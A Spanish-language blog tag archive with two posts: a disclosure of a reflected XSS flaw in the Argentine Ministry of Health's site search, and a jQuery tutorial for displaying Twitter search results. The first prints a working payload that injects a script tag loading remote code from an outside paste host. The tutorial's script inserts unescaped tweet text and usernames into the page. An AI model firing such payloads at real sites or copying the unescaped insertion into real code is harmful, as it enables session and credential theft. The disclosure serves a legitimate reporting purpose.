Tag Archive for 'javascript'

XSS en el sitio del Ministerio de Salud

Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación.

Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.

Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”1.

¿En qué consiste la vulnerabilidad?

Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:

Búsqueda en el Ministerio de Salud de la Nación

El código del campo de texto es el siguiente:

1
<input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" />

El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.

Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:

" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="

Se obtiene:

1
<input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " />

Y, por consiguiente (clic para agrandar):

XSS en el Ministerio de Salud de la Nación

¿Qué consecuencias puede ocasionar esta vulnerabilidad?

  • Se puede esconder una URL maliciosa con un acortador de URL que redirija a la víctima hacia el sitio vulnerable junto con un POST de búsqueda que permita ejecutar código arbitrario.
  • Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.
  • Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.

La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.

1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.

Mostrando búsquedas de Twitter en una página web con jQuery

El programa consta de dos partes: el contenedor de resultados y el script.

Contenedor de resultados

Se trata del elemento HTML donde se mostrarán los resultados de una búsqueda. Los términos de búsqueda se establecen en el atributo title.

Por ejemplo, si quisiéramos mostrar los resultados del tag #obama:

1
<div class="twitter_search" title="#obama"></div>

Podés crear todos los contenedores que quieras en la misma página, en el lugar que desees:

1
2
<div class="twitter_search" title="#python"></div>
<div class="twitter_search" title="#jquery"></div>

El script

Son las instrucciones JavaScript del programa que se encargará de todo el trabajo: obtendrá los términos de búsqueda, solicitará los resultados a través de la API de Twitter y mostrará los resultados en el navegador.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// Number of tweets to show for each column
const MAX_RESULTS= 20;
function twitter_search() {
	var url = 'http://search.twitter.com/search.json?callback=?';
	// Iterating over the different search columns
	$('.twitter_search').each(function() {
		var container = $(this);
		// Search terms are specified in the 'title' attribute
		var search = container.attr('title');
		if (search) {
			// Showing column title
			if (container.siblings('h1').length == 0) {
				container.parent().prepend('<h1>' + search + '</h1>');
			}
			var since_id = 0;
			if (container.children().length) {
				// Retrieve results since this id
				since_id = container.children(':first').attr('id').replace('#', '');
			}
			// Request the results
			$.getJSON(url, {'q': search, 'since_id': since_id}, function(data) {
				// Processing those results, if any
				if (data.results.length) {
					for (i in data.results.reverse()) {
						var r = data.results[i];
						// Creating the result container
						var div = $('<div id="#' + r.id + '"></div>');
						// Don't show this element now
						div.hide();
						// Adding some styles through .twitter_result
						div.addClass('twitter_result');
						// Adding user's image
						div.append('<img src="' + r.profile_image_url + '" alt="' + r.from_user + '" />');
						// Adding username
						div.append('<a href="http://twitter.com/' + r.from_user + '">' + r.from_user + '</a>');
						// Adding tweet
						div.append('<span>' + r.text + '</span>');
						// Adding corners
						div.corner();
						// Adding this result to the main container
						container.prepend(div);
						// Effect
						div.slideDown('slow');
					}
				}
				// Removing old tweets
				if (container.children().length > MAX_RESULTS) {
					// Negative index
					to_remove = MAX_RESULTS - container.children().length
					container.children().slice(to_remove).each(function() {
						$(this).slideUp();
					});
				}
			});
		}
	});
};
 
$(document).ready(function() {
	// Initial search 
	twitter_search();
	// Refresh the results every 5 seconds
	setInterval("twitter_search();", 5000);
});

Acá pueden ver una demostración funcional del script: Twitter Search + jQuery (actualizado marzo de 2010).

Aclaraciones de la demo:

  • Casi no hay consumo de bandwidth de nuestro servidor, porque estoy usando jQuery 1.3.2 desde Google y es el navegador del usuario quien se encarga de hacer el request de búsqueda a la API de Twitter
  • En la demo los resultados se actualizan automáticamente cada 5 segundos (setInterval("twitter_search();", 5000))
  • Sigo una estructura FIFO (gracias al parámetro since_id de la API). Esto significa que iré agregando nuevos resultados en la cabecera mientras remuevo los más antiguos
  • La demo es XHTML 1.0 Transitional



This work by Patricio Molina is licensed under a Creative Commons Attribution-ShareAlike 2.5 Argentina.